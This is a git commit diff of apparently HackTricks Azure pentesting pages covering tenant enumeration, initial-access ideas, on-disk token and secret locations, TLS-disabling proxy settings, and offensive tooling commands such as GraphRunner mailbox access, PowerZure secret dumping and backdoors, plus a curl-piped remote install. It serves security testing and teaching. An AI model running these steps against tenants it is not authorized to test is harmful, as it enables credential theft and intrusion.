Merge branch 'master' into master

This commit is contained in:
SirBroccoli
2025-01-26 16:10:16 +01:00
committed by GitHub
51 changed files with 1057 additions and 550 deletions

View File

@@ -398,7 +398,8 @@
- [Az - Enumeration Tools](pentesting-cloud/azure-security/az-enumeration-tools.md)
- [Az - Unauthenticated Enum & Initial Entry](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md)
- [Az - OAuth Apps Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md)
- [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md)
- [Az - Storage Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md)
- [Az - VMs Unath](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md)
- [Az - Device Code Authentication Phishing](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Az - Password Spraying](pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
- [Az - Services](pentesting-cloud/azure-security/az-services/README.md)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 3.5 MiB

View File

@@ -48,7 +48,7 @@ optional arguments:
<summary>Code to perform Role Juggling from PowerShell</summary>
```powershell
```bash
# PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation

View File

@@ -88,7 +88,7 @@ For more information check https://github.com/padok-team/cognito-scanner
The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable).
> [!TIP]
> The **IAM Cognito unathenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`
> The **IAM Cognito unauthenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`
If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with:

View File

@@ -4,6 +4,8 @@
## Basic Information
Learn the basics of Azure and Entra ID in the following page:
{{#ref}}
az-basic-information/
{{#endref}}
@@ -12,47 +14,62 @@ az-basic-information/
In order to audit an AZURE environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal Azure services and **external services** connected.
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **credentials** for Azure AD. Here you have some ideas on how to do that:
From a Red Team point of view, the **first step to compromise an Azure environment** is to manage to obtain some **foothold**.
- **Leaks** in github (or similar) - OSINT
- **Social** Engineering
- **Password** reuse (password leaks)
- Vulnerabilities in Azure-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Local File Read**
- `/home/USERNAME/.azure`
- `C:\Users\USERNAME\.azure`
- The file **`accessTokens.json`** in `az cli` before 2.30 - Jan2022 - stored **access tokens in clear text**
- The file **`azureProfile.json`** contains **info** about logged user.
- **`az logout`** removes the token.
- Older versions of **`Az PowerShell`** stored **access tokens** in **clear** text in **`TokenCache.dat`**. It also stores **ServicePrincipalSecret** in **clear**-text in **`AzureRmContext.json`**. The cmdlet **`Save-AzContext`** can be used to **store** **tokens**.\
Use `Disconnect-AzAccount` to remove them.
- 3rd parties **breached**
- **Internal** Employee
### External enum & Initial Access
The first step is of course to enumerate information about the tenant you are attacking and try to get a foothold.
Based on the domain name it's possible to know **if the company if using Azure**, get the **tenant ID**, get other **valid domains** in the same tenant (if more) and get **relevant information** like if SSO is enabled, mail configurations, valid user emails...
Check the folloeing page to learn how to perform the **external enumeration**:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
With this information the most common ways to try to get a foothold are:
- **OSINT**: Check for **leaks** in Github or any other open source platform that could contain **credentials** or interesting information.
- **Password** reuse, leaks or [password spraying](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
- Buy credentials to an employee
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (credentials or Oauth App)
- [Device Code Authentication Phishing](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md)
- [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md)
- 3rd parties **breached**
- Vulnerabilities in Azure-Hosted Applications
- [**Server Side Request Forgery**](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) with access to metadata endpoint
- **Subdomain takeovers** like in [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
- **Other azure services misconfigurations**
- If some developer laptop is compromised ([WinPEAS and LinPEAS](https://github.com/peass-ng/PEASS-ng) can find this info):
- Inside **`<HOME>/.Azure`**
- **`azureProfile.json`** contains info about logged in users from the past
- **`clouds.config contains`** info about subscriptions
- **`service_principal_entries.json`** contains applications credentials (tenant id, clients and secret). Only in Linux & macOS
- **`msal_token_cache.json`** contains contains access tokens and refresh tokens. Only in Linux & macOS
- **`service_principal_entries.bin`** and msal_token_cache.bin are used in Windows and are encrypted with DPAPI
- **`msal_http_cache.bin`** is a cache of HTTP request
- Load it: `with open("msal_http_cache.bin", 'rb') as f: pickle.load(f)`
- **`AzureRmContext.json`** contains information about previous logins using Az PowerShell (but no credentials)
- Inside **`C:\Users\<username>\AppData\Local\Microsoft\IdentityCache\*`** are several `.bin` files with **access tokens**, ID tokens and account information encrypted with the users DPAPI.
- Its possible to find more **access tokens** in the `.tbres` files inside **`C:\Users\<username>\AppData\Local\Microsoft\TokenBroken\Cache\`** which contain a base64 encrypted with DPAPI with access tokens.
- In Linux and macOS you can get **access tokens, refresh tokens and id tokens** from Az PowerShell (if used) running `pwsh -Command "Save-AzContext -Path /tmp/az-context.json"`
- In Windows this just generates id tokens.
- Possible to see if Az PowerShell was used in Linux and macSO checking is `$HOME/.local/share/.IdentityService/` exists (although the contained files are empty and useless)
Even if you **haven't compromised any user** inside the Azure tenant you are attacking, you can **gather some information** from it:
Find **other Azure Services misconfigurations** that cal lead to a foothold in the following page:
{{#ref}}
az-unauthenticated-enum-and-initial-entry/
{{#endref}}
> [!NOTE]
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
> Remember that usually the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
## Basic Enumeration
### Azure & Entra ID tooling
> [!NOTE]
> Remember that the **noisiest** part of the enumeration is the **login**, not the enumeration itself.
### SSRF
If you found a SSRF in a machine inside Azure check this page for tricks:
The following tools will be super useful to enumerate both Entra ID tenants and Azure environments slowly (to avoid detection) or automatically (to save time):
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html
az-enumeration-tools.md
{{#endref}}
### Bypass Login Conditions
@@ -68,9 +85,7 @@ In cases where you have some valid credentials but you cannot login, these are s
After bypassing it, you might be able to get back to your initial setup and you will still have access.
### Subdomain Takeover
- [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
### Whoami
@@ -93,20 +108,9 @@ az account management-group list #Not allowed by default
{{#endtab }}
{{#tab name="AzureAD" }}
{{#tab name="Az" }}
```powershell
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
Get-AzureADTenantDetail
```
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext
# List all available contexts
@@ -115,289 +119,104 @@ Get-AzContext -ListAvailable
Get-AzSubscription
#Get Resource group
Get-AzResourceGroup
# Enumerate all resources visible to the current user
Get-AzResource
# Enumerate all Azure RBAC role assignments
Get-AzRoleAssignment # For all users
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
```
{{#endtab }}
{{#tab name="Mg" }}
```bash
#Get the current session
Get-MgContext
```
{{#endtab }}
{{#tab name="AzureAD" }}
```bash
#Get the current session state
Get-AzureADCurrentSessionInfo
#Get details of the current tenant
Get-AzureADTenantDetail
```
{{#endtab }}
{{#endtabs }}
> [!CAUTION]
> Oone of the most important commands to enumerate Azure is **`Get-AzResource`** from Az PowerShell as it lets you **know the resources your current user has visibility over**.
>
> You can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources"
### ENtra ID Enumeration
### Entra ID Enumeration & Privilege Escalation
By default, any user should have **enough permissions to enumerate** things such us, users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
By default, any user should have **enough permissions to enumerate** things such as users, groups, roles, service principals... (check [default AzureAD permissions](az-basic-information/index.html#default-user-permissions)).\
You can find here a guide:
{{#ref}}
az-services/az-azuread.md
{{#endref}}
> [!NOTE]
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
> In the following section you can check some ways to **enumerate some common services.**
Check the **Post-Exploitation tools** to find tools to escalate privileges in Entra ID like **AzureHound:**
## App Service SCM
{{#ref}}
az-enumeration-tools.md#automated-post-exploitation-tools
{{#endref}}
Kudu console to log in to the App Service 'container'.
## Webshell
### Enumerate Azure Services
Use portal.azure.com and select the shell, or use shell.azure.com, for a bash or powershell. The 'disk' of this shell are stored as an image file in a storage-account.
Once you know who you are, you can start enumerating the **Azure services you have access to**.
## Azure DevOps
You should start finding out the **permissions you have** over the resources. For this:
Azure DevOps is separate from Azure. It has repositories, pipelines (yaml or release), boards, wiki, and more. Variable Groups are used to store variable values and secrets.
1. **Find the resource you have some acecss to**:
## Debug | MitM az cli
The Az PoswerShell command **`Get-AzResource`** lets you **know the resources your current user has visibility over**.
Using the parameter **`--debug`** it's possible to see all the requests the tool **`az`** is sending:
Moreover, you can get the same info in the **web console** going to [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) or searching for "All resources" or executing: `az rest --method GET --url "https://management.azure.com/subscriptions/<subscription-id>/resources?api-version=2021-04-01"`
```bash
az account management-group list --output table --debug
```
2. **Find the permissions you have over the resources you have access to and find the roles assigned to you**:
In order to do a **MitM** to the tool and **check all the requests** it's sending manually you can do:
Note that you need the permission **`Microsoft.Authorization/roleAssignments/read`** to execute this action.
{{#tabs }}
{{#tab name="Bash" }}
Furthermore, with enough permissions, the role **`Get-AzRoleAssignment`** can be used to **enumerate all the roles** in the subscription or the permission over a specific resource indicatig it like in: **`Get-AzRoleAssignment -Scope /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.RecoveryServices/vaults/vault-m3ww8ut4`**.
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
It's also possible to get this information running **`az rest --method GET --uri "https://management.azure.com/<Scope>/providers/Microsoft.Authorization/roleAssignments?api-version=2020-08-01-preview" | jq ".value"`** like in:
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
- **`az rest --method GET --uri "https://management.azure.com//subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/vault-m3ww8ut4/providers/Microsoft.Authorization/roleAssignments?api-version=2020-08-01-preview" | jq ".value"`**
{{#endtab }}
3. **Find the granular permissions of the roles attached to you **:
{{#tab name="PS" }}
Then, to get the granular permission you could run **`(Get-AzRoleDefinition -Id "<RoleDefinitionId>").Actions`**.
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
Or call the API directly with **`az rest --method GET --uri "https://management.azure.com//subscriptions/<subscription-id>/providers/Microsoft.Authorization/roleDefinitions/<RoleDefinitionId>?api-version=2020-08-01-preview" | jq ".properties"`**.
{{#endtab }}
{{#endtabs }}
## Automated Recon Tools
In the following section you can find **information about the most common Azure services and how to enumerate them**:
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
{{#ref}}
az-services/
{{#endref}}
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### Privilege Escalation, Post-Exploitation & Persistence in Azure Services
### [Monkey365](https://github.com/silverhack/monkey365)
Once you know how is the Azure environment structured and what services are being used, you can start looking for ways to **escalate privileges, move laterally, perform other post-exploitation attacks and maintain persistence**.
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
In the following section you can find information about how to escalate privileges in the most common Azure services:
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
{{#ref}}
az-privilege-escalation/
{{#endref}}
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
In the following one you can find information about how to perform post-exploitation attacks in the most common Azure services:
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
{{#ref}}
az-post-exploitation/
{{#endref}}
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
In the following one you can find information about how to maintain persistence in the most common Azure services:
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#ref}}
az-persistence/
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -32,7 +32,7 @@
All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted.
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfe8U30iP_vdZCvxX4g8nEPRLoo7v0kmCGkDn1frBPn3_GIoZ7VT2LkdsVQWCnrG_HSYNRRPM-1pSECUkbDAB-9YbUYLzpvKVLDETZS81CHWKYM4fDl3oMo5-yvTMnjdLTS2pz8U67xUTIzBhZ25MFMRkq5koKY=s2048?key=gSyKQr3HTyhvHa28Rf7LVA" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1</a></p></figcaption></figure>
<figure><img src="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1" alt=""><figcaption><p><a href="https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1">https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1</a></p></figcaption></figure>
### Azure Resource IDs

View File

@@ -146,6 +146,19 @@ new_azure_cli_bearer_tokens_for_graph_api = (
pprint(new_azure_cli_bearer_tokens_for_graph_api)
```
### Other access token fields
- **appid**: Application ID used to generate the token
- **appidacr**: The Application Authentication Context Class Reference indicates how the client was authenticated, for a public client the value is 0, and if a client secret is used the value is 1
- **acr**: The Authentication Context Class Reference claim is "0" when the end-user authentication did not meet the requirements of ISO/IEC 29115.
- **amr**: The Authentication method indicates how the token was authenticated. A value of “pwd” indicates that a password was used.
- **groups**: Indicates the groups where the principal is a member.
- **iss**: The issues identifies the security token service (STS) that generated the token. e.g. https://sts.windows.net/fdd066e1-ee37-49bc-b08f-d0e152119b04/ (the uuid is the tenant ID)
- **oid**: The object ID of the principal
- **tid**: Tenant ID
- **iat, nbf, exp**: Issued at (when it was issued), Not before (cannot be used before this time, usually same value as iat), Expiration time.
## FOCI Tokens Privilege Escalation
Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
@@ -198,6 +211,7 @@ pprint(microsoft_office_bearer_tokens_for_graph_api)
## References
- [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
- [https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md](https://github.com/Huachao/azure-content/blob/master/articles/active-directory/active-directory-token-and-claims.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -93,6 +93,23 @@ export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
{{#endtab }}
{{#tab name="CMD" }}
```bash
set ADAL_PYTHON_SSL_NO_VERIFY=1
set AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
set HTTPS_PROXY="http://127.0.0.1:8080"
set HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in cacert.der -inform DER -out cacert.pem -outform PEM
set REQUESTS_CA_BUNDLE=C:\Users\user\Downloads\cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
@@ -148,5 +165,269 @@ The Azure Active Directory (AD) module, now **deprecated**, is part of Azure Pow
Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
## Automated Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot with steampipe and powerpipe allows to gather information from Azure and Entra ID and perform compliance checks and find misconfigurations. The currently most recommended Azure modules to run are:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler is an Open Source security tool to perform AWS, Azure, Google Cloud and Kubernetes security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
It basically would allow us to run hundreds of checks against an Azure environment to find security misconfigurations and gather the results in json (and other text format) or check them in the web.
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
It allows to perform Azure subscriptions and Microsoft Entra ID security configuration reviews automatically.
The HTML reports are stored inside the `./monkey-reports` directory inside the github repository folder.
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite gathers configuration data for manual inspection and highlights risk areas. It's a multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
It's a powershell script that helps you to **visualize all the resources and permissions inside a Management Group and the Entra ID** tenant and find security misconfigurations.
It works using the Az PowerShell module, so any authentication supported by this tool is supported by the tool.
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Automated Post-Exploitation tools
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
The enumeration of ROADRecon offers information about the configuration of Entra ID, like users, groups, roles, conditional access policies...
```bash
cd ROADTools
pipenv shell
# Login with user creds
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
# Login with app creds
roadrecon auth --as-app --client "<client-id>" --password "<secret>" --tenant "<tenant-id>"
roadrecon gather
roadrecon gui
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```bash
# Launch AzureHound
## Login with app secret
azurehound -a "<client-id>" -s "<secret>" --tenant "<tenant-id>" list -o ./output.json
## Login with user creds
azurehound -u "<user-email>" -p "<password>" --tenant "<tenant-id>" list -o ./output.json
```
Launch the **BloodHound** web with **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** and import the `output.json` file.
Then, in the **EXPLORE** tab, in the **CYPHER** section you can see a **folder** icon that contains pre-built queries.
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. It is intended to be used during penetration tests where Azure is in use.
```bash
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
